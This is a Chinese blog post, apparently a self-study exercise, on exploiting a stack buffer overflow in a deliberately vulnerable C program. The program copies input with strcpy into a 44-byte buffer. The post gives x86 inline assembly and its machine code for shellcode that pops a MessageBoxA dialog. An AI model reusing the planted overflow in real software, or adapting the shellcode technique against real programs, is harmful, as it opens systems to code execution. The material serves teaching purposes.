• 人为漏洞的构造、文件的载入、弹出MessageBox


    获得正确的结果已经不能满足我的欲望了,我希望能进一步的利用,从而弹出一个消息框,这将使用到MessageBox函数。

    我们先计算MessageBoxA的地址

    0x77D10000+0X000407EA=0x77D507EA


    我们写入对应的汇编代码:

     1     __asm
     2     {
     3         xor ebx,ebx
     4         push ebx
     5         push 0x00003231
     6         push 0x30326b74
     7         mov eax,esp
     8         push ebx
     9         push eax
    10         push eax
    11         push ebx
    12         mov eax,0x77D507EA
    13         call eax
    14         add esp,0xc
    15     }

    则,对应的机器码为:

     33DB       
      53           
     68 31320000  
      68 746B3230  
      8BC4        
      53           
      50          
      50           
      53           
     B8 EA07D577  
     FFD0        
     83C4 0C    
    

     将其写入到txt文件中,等待进行长度的匹配。

    通过不断的调试,终于文件password.txt中的内容为

    我们的源码中改变了一点

     1 // stack_overflow.cpp : Defines the entry point for the console application.
     2  //
     3  
     4  #include "stdafx.h"
     5  #include <WINDOWS.H>
     6  #define  PASSWORD "1234567"
     7  
     8  int verify_password(char *password)
     9  {
    10      int authenticated;   
    11      char buffer[44];   
    12      authenticated = strcmp(password,PASSWORD);   
    13      strcpy(buffer,password);                     //溢出位置
    14      return authenticated;                        
    15  }
    16  
    17  void main()
    18  {
    19      LoadLibraryA("user32.dll");
    20  
    21      int valid_flag = 0;
    22      char password[1024];
    23      FILE* fp;
    24      if (!(fp = fopen("D:\\password.txt","rw+")))
    25      {
    26          exit(0);
    27      }
    28      fscanf(fp,"%s",password);
    29      valid_flag = verify_password(password);
    30      if (valid_flag)
    31      {
    32          printf("incorrect password!\n\n");
    33      } 
    34      else
    35      {
    36          printf("Congratulation!You have passed the verification!\n");
    37      }
    38      fclose(fp);
    39  }
    40  

    添加了include <windows.h>和LoadLibrary(“user32.dll”)

    为了添加messagebox方便。

    因为strcpy会对00截断,所以我们构造的字符文件必须要满足一些条件,不断的调试。

    成功后出现

    可惜程序还是会出现崩溃,本来想实现堆栈平衡的,结果被strcpy截断了。

    https://files.cnblogs.com/tk091/overflowExeAndTxt.rar

    ==================================

    书读多了,就会有福至心灵的感觉。

  • 相关阅读:
    4月21日Java作业
    5.14 Java作业
    第十周java作业
    4月30号作业
    第七周上机
    4.9Java
    通宵看剧有感
    error: pathspec 'xxxxxxxxx' did not match any file(s) known to git
    markdown格式测试
    博客申请通过啦
  • 原文地址:https://www.cnblogs.com/tk091/p/2713426.html
Copyright © 2020-2023  润新知